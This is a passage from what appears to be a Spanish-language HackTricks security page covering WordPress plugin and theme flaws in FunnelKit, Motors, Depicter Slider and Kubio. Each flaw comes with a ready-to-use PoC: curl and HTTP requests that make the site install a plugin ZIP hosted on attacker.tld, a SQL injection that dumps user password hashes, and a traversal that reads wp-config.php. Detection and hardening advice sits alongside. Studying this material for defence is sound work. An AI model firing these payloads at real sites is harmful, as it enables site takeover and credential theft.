  • No generar long-lived keys a partir de identidad suministrada por el cliente; si es necesario, emitir tokens de corta duración vinculados al usuario tras autenticación y volver a comprobar las capabilities al usarlos
  • Validar el contexto de usuario del llamante (wp_set_current_user no es suficiente por sí solo) y rechazar solicitudes donde !is_user_logged_in() || !current_user_can()

Uso indebido del gate de Nonce → instalación arbitraria de plugins sin autenticación (FunnelKit Automations ≤ 3.5.3)

Los Nonces previenen CSRF, no la autorización. Si el código interpreta el paso del nonce como luz verde y luego omite comprobaciones de capability para operaciones privilegiadas (p. ej., install/activate plugins), atacantes no autenticados pueden satisfacer un requisito de nonce débil y alcanzar RCE instalando un plugin con backdoor o vulnerable.

  • Vulnerable path: plugin/install_and_activate
  • Flaw: weak nonce hash check; no current_user_can(‘install_plugins’|‘activate_plugins’) once nonce “passes”
  • Impact: full compromise via arbitrary plugin install/activation

PoC (la forma depende del plugin; solo ilustrativo)

curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Lista de verificación de detección

  • Manejadores REST/AJAX que modifican plugins/themes con solo wp_verify_nonce()/check_admin_referer() y sin comprobación de capacidades
  • Cualquier ruta de código que establezca $skip_caps = true después de la validación del nonce

Endurecimiento

  • Trata siempre los nonces solo como tokens CSRF; aplica las comprobaciones de capacidad independientemente del estado del nonce
  • Requerir current_user_can(‘install_plugins’) y current_user_can(‘activate_plugins’) antes de llegar al código del instalador
  • Rechazar accesos no autenticados; evitar exponer nopriv AJAX actions para flujos privilegiados

Subscriber+ AJAX plugin installer → forced malicious activation (Motors Theme ≤ 5.6.81)

Patchstack’s analysis mostró cómo el tema Motors incluye un helper AJAX autenticado para instalar su plugin complementario:

add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');

function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');

$plugin_url  = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';

$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
  • Solo se llama a check_ajax_referer(); no hay current_user_can('install_plugins') ni current_user_can('activate_plugins').
  • El nonce está embebido en la página de administración de Motors, por lo que cualquier Subscriber que pueda abrir /wp-admin/ puede copiarlo desde el HTML/JS.
  • El manejador confía en el parámetro plugin controlado por el atacante (leído de $_GET) y lo pasa a Plugin_Upgrader::install(), por lo que se descarga un ZIP remoto arbitrario en wp-content/plugins/.
  • Tras la instalación, el tema llama incondicionalmente a mvl_theme_activate_plugin(), garantizando la ejecución del código PHP del plugin atacante.

Flujo de explotación

  1. Registrar/comprometer una cuenta de bajo privilegios (Subscriber es suficiente) y obtener el nonce mvl_theme_install_base desde la UI del dashboard de Motors.
  2. Crear un ZIP de plugin cuyo directorio de nivel superior coincida con el slug esperado motors-car-dealership-classified-listings/ e insertar un backdoor o webshell en los puntos de entrada *.php.
  3. Hospedar el ZIP y activar el instalador apuntando el manejador a tu URL:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded

action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip

Debido a que el manejador lee $_GET['plugin'], la misma payload también puede enviarse vía la query string.

Lista de comprobación de detección

  • Buscar en themes/plugins instancias de Plugin_Upgrader, Theme_Upgrader, o helpers install_plugin.php personalizados conectados a hooks wp_ajax_* sin comprobaciones de capabilities.
  • Inspeccionar cualquier manejador que reciba un parámetro plugin, package, source, o url y lo pase a las APIs del upgrader, especialmente cuando el slug está hard-coded pero los contenidos del ZIP no se validan.
  • Revisar las páginas de admin que exponen nonces para acciones del instalador—si los Subscribers pueden cargar la página, assume the nonce leaks.

Endurecimiento

  • Gate installer AJAX callbacks con current_user_can('install_plugins') y current_user_can('activate_plugins') después de la verificación del nonce; Motors 5.6.82 introdujo esta comprobación para parchear el bug.
  • Rechazar URLs no confiables: limitar los instaladores a ZIPs incluidos o repositorios de confianza, o aplicar manifiestos de descarga firmados.
  • Trata los nonces estrictamente como CSRF tokens; no proporcionan autorización y nunca deberían sustituir las comprobaciones de capabilities.

Unauthenticated SQLi via s (search) parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)

Múltiples acciones depicter-* consumían el parámetro s (search) y lo concatenaban en consultas SQL sin parametrización.

  • Parámetro: s (search)
  • Fallo: concatenación directa de cadenas en cláusulas WHERE/LIKE; sin sentencias preparadas/saneamiento
  • Impacto: exfiltración de la base de datos (users, hashes), movimiento lateral

PoC

# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • Grep for depicter-* action handlers and el uso directo de $_GET[‘s’] or $_POST[‘s’] en SQL
  • Revisar consultas personalizadas pasadas a $wpdb->get_results()/query() que concatenen s

Hardening

  • Siempre usar $wpdb->prepare() or wpdb placeholders; rechazar metacaracteres inesperados del lado del servidor
  • Añadir una lista estricta de permitidos para s y normalizar al conjunto de caracteres/longitud esperados

Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)

Aceptar rutas controladas por el atacante en un parámetro de template sin normalización/contención permite leer archivos locales arbitrarios, y a veces ejecución de código si se incluyen en tiempo de ejecución archivos PHP/log que sean includable.

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: no normalization/allowlisting; traversal permitted
  • Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)

PoC – read wp-config.php

curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Lista de verificación de detección

  • Cualquier handler que concatene rutas de solicitud en sinks include()/require()/read sin confinamiento mediante realpath()
  • Buscar patrones de traversal (../) que lleguen fuera del directorio de templates previsto

Endurecimiento

  • Aplicar plantillas permitidas; resolver con realpath() y requerir str_starts_with(realpath(file), realpath(allowed_base))
  • Normalizar la entrada; rechazar secuencias de traversal y rutas absolutas; usar sanitize_file_name() solo para nombres de archivo (no rutas completas)

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks